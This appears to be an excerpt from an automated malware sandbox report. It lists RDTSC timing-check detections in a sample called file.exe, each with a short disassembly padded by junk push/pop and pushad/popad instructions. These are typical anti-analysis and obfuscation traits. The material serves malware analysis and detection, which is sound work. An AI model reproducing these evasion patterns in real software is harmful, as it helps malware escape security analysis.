Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F858 second address: 40F85C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F85C second address: 40F862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F9EB second address: 40FA08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F856106A869h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40FA08 second address: 40FA0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40FB88 second address: 40FB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40FB8D second address: 40FB9E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F856102FBECh 0x00000008 ja 00007F856102FBE6h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40FB9E second address: 40FBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F856106A856h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jnc 00007F856106A856h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417E09 second address: 417E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417E10 second address: 417E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007F856106A856h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418283 second address: 4182B6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F856102FBF9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F856102FBF4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4182B6 second address: 4182D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F856106A868h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4182D4 second address: 4182DE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F856102FBE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4182DE second address: 4182EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F856106A856h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41BA3B second address: 41BA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jnl 00007F856102FBE6h 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41BA4E second address: 41BA5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A85Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421FF6 second address: 421FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420F16 second address: 420F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jc 00007F856106A856h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9E3A second address: 3C9EA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F856102FBE6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F856102FBE8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b movzx ecx, si 0x0000002e push 00000004h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F856102FBE8h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a adc di, 0F2Eh 0x0000004f nop 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 pushad 0x00000054 popad 0x00000055 pushad 0x00000056 popad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9EA3 second address: 3C9EC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A85Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F856106A860h 0x00000012 jmp 00007F856106A85Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4210A5 second address: 4210A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4210A9 second address: 4210AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4210AF second address: 4210C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F856102FBEAh 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A179 second address: 42A181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428116 second address: 428132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F856102FBF3h 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428132 second address: 428137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428137 second address: 42813D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4282BD second address: 4282DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A866h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42877C second address: 4287B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F856102FBEEh 0x0000000d jmp 00007F856102FBF9h 0x00000012 ja 00007F856102FBE6h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428D8F second address: 428D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428D93 second address: 428D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 429088 second address: 429095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 429095 second address: 4290AC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F856102FBE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jng 00007F856102FBE6h 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4298AA second address: 4298B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4298B2 second address: 4298B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4298B7 second address: 4298D2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F856106A863h 0x00000008 jmp 00007F856106A85Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4326D8 second address: 4326DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 431B94 second address: 431BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F856106A860h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 431E7F second address: 431E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4323B6 second address: 4323C0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F856106A856h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4323C0 second address: 4323D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F856102FBEEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4323D4 second address: 4323DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4323DA second address: 43242A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF0h 0x00000007 jc 00007F856102FBE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F856102FBF0h 0x00000019 push eax 0x0000001a pop eax 0x0000001b jmp 00007F856102FBEDh 0x00000020 popad 0x00000021 jmp 00007F856102FBF1h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43242A second address: 432438 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F856106A858h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43AB9D second address: 43ABA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43AE92 second address: 43AEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 push edx 0x00000009 pop edx 0x0000000a jne 00007F856106A856h 0x00000010 pop edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43AEA6 second address: 43AEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F856102FBE6h 0x0000000a jnl 00007F856102FBE6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B022 second address: 43B026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B026 second address: 43B02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B02F second address: 43B037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B4BE second address: 43B4F4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007F856102FBE6h 0x00000009 pop edi 0x0000000a push esi 0x0000000b jmp 00007F856102FBF9h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jno 00007F856102FBE8h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B4F4 second address: 43B4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B651 second address: 43B675 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF0h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F856102FBEEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B675 second address: 43B68F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F856106A865h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B815 second address: 43B81F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F856102FBE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B958 second address: 43B968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856106A85Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B968 second address: 43B991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F856102FBE6h 0x0000000a popad 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f pop edx 0x00000010 push ebx 0x00000011 jmp 00007F856102FBF0h 0x00000016 jp 00007F856102FBECh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C81A second address: 43C82F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C82F second address: 43C862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F856102FBF8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F856102FBF1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43A516 second address: 43A526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F856106A856h 0x0000000a jng 00007F856106A856h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4431C0 second address: 4431D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 jmp 00007F856102FBF1h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 443331 second address: 443352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F856106A866h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4505A2 second address: 4505AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F856102FBE6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4505AE second address: 4505B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4628C4 second address: 4628CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4628CF second address: 4628D5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4628D5 second address: 4628E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371A1C second address: 371A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371A22 second address: 371A3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F856102FBE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F856102FBEBh 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371A3E second address: 371A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 je 00007F856106A874h 0x0000000c jno 00007F856106A85Eh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371A5B second address: 371A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46B35D second address: 46B372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F856106A85Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 469C5C second address: 469C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 469F84 second address: 469F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 469F8A second address: 469F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 469F8E second address: 469FA4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F856106A856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F856106A86Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 469FA4 second address: 469FAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46A689 second address: 46A693 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F856106A856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46A693 second address: 46A6BD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007F856102FBE6h 0x00000009 jnc 00007F856102FBE6h 0x0000000f pop esi 0x00000010 push esi 0x00000011 jng 00007F856102FBE6h 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a pop edx 0x0000001b pop eax 0x0000001c jp 00007F856102FC06h 0x00000022 jnl 00007F856102FBECh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46B0E6 second address: 46B0EC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C9D9 second address: 46C9F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF9h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C9F8 second address: 46C9FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 480979 second address: 480986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 480986 second address: 48098A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48098A second address: 480993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4807F9 second address: 48081A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F856106A861h 0x0000000d jl 00007F856106A85Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483FA6 second address: 484011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F856102FBE6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pop ebx 0x0000000e pushad 0x0000000f jnl 00007F856102FBF4h 0x00000015 jmp 00007F856102FBF0h 0x0000001a pushad 0x0000001b jmp 00007F856102FBF7h 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007F856102FBF9h 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492997 second address: 49299B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49299B second address: 49299F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49299F second address: 4929DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F856106A870h 0x0000000c jmp 00007F856106A85Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492584 second address: 49258A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49258A second address: 49258E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49258E second address: 492594 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492594 second address: 4925AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F856106A856h 0x0000000d push eax 0x0000000e pop eax 0x0000000f je 00007F856106A856h 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB17F second address: 4AB186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB186 second address: 4AB18C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
